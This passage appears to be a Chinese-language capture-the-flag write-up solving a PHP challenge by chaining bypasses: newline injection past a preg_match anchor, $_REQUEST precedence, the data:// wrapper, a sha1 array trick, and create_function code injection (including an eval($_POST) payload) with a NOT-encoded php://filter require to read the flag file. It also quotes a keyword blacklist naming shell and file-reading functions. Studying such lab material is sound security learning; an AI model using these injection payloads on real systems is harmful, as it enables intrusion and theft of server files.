我们可以看到preg_match中的/^$/可知是单行的匹配,而且这个if的思路是debu参数的值既要是aqua_is_cute,又不可以是aqua_is_cute,所以对于这种情况,我们可以使用换行符%0a来绕过,即

1
debu=%0aaqua_is_cute

对于第三个if

1
2
foreach($_REQUEST as $value) { 
if(preg_match('/[a-zA-Z]/i', $value))

由于这里想限制我们传入的值不可以是字母,而$_REQUEST不仅会接收get请求,也会接收post请求和cookie请求,但是post优先级比较大,所以我们只需get传入参数,post再传入传入相同参数,便可绕过,此时php.ini中的variables_order的设置,默认为

1
variables_order = "GPCS"

对于第四个if

1
if (file_get_contents($file) !== 'debu_debu_aqua')

可以使用data伪协议进行绕过,即

1
data://text/plain,debu_debu_aqua

对于第五个if

1
if ( sha1($shana) === sha1($passwd) && $shana != $passwd )

我们可以构造数组进行绕过,因为传入sha1()函数的参数的值为数组时会报错,返回false,所以当构造数组时可以绕过,即

1
shana[]=1&passwd[]=2

对于第六个if

1
2
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) )

我们可以看向正则中匹配的地方

1
/^[a-z0-9]*$/isD

可以看见后面是isD,其中i是不分大小写,而s是.匹配包括换行的所有元素,D是$只匹配字符串末尾,不匹配换行,而/^*$/意思是不能从头到尾是字母和数字,所以我们可以使用create_function()函数

create_function()

create_function()函数有两个参数$args和$code,用于创建一个lambda样式的函数

实例

php创建一个函数,即

1
2
3
function myFunc($a,$b){
return $a+$b;
}

然后使用create_function()函数创建相同的myFunc()函数

1
$myFunc=create_function('$a,$b','return($a+$b);');

1
2
3
function myFunc($a,$b){
return $a+$b;
}

所以我们可以这样使用这个create_function函数,来执行我们想要的代码
create_function构造

1
2
<?php
$myFunc = create_function('$a, $b', 'return($a+$b);}eval($_POST['Y1ng']);\\');

执行时

1
2
3
4
function myFunc($a, $b){
return $a+$b;
}
eval($_POST['Y1ng']);//}

但是因为$arg被过滤太多的系统函数,所以我们可以使用get_defined_vars()来输出所有的变量和值,所以我们可以构造

1
flag[arg]=;}var_dump(get_defined_vars());

我们可以看见它让我们在rea1fl4g.php中读取flag,所以我们可以使用require代替include包含,因为include被过滤了,而由于过滤了双引号,所以可以使用base64_decode()来绕过

1
flag[arg]=;}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars);//

来读取flag,但是这个方法我试不通,所以我们使用了取反来读,exp

1
2
3
4
<?php

$s = 'php://filter/convert.base64-encode/resource=rea1fl4g.php';
echo urlencode(~$s);

然后构造

1
flag[arg]=}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F);//

对于这题注意的点是要将cookie删掉,否则绕不过第三个if

参考文章:[https://blog.csdn.net/rfrder/article/details/111824177]

[https://www.gem-love.com/ctf/770.html]

[https://www.php.net/manual/zh/reference.pcre.pattern.modifiers.php]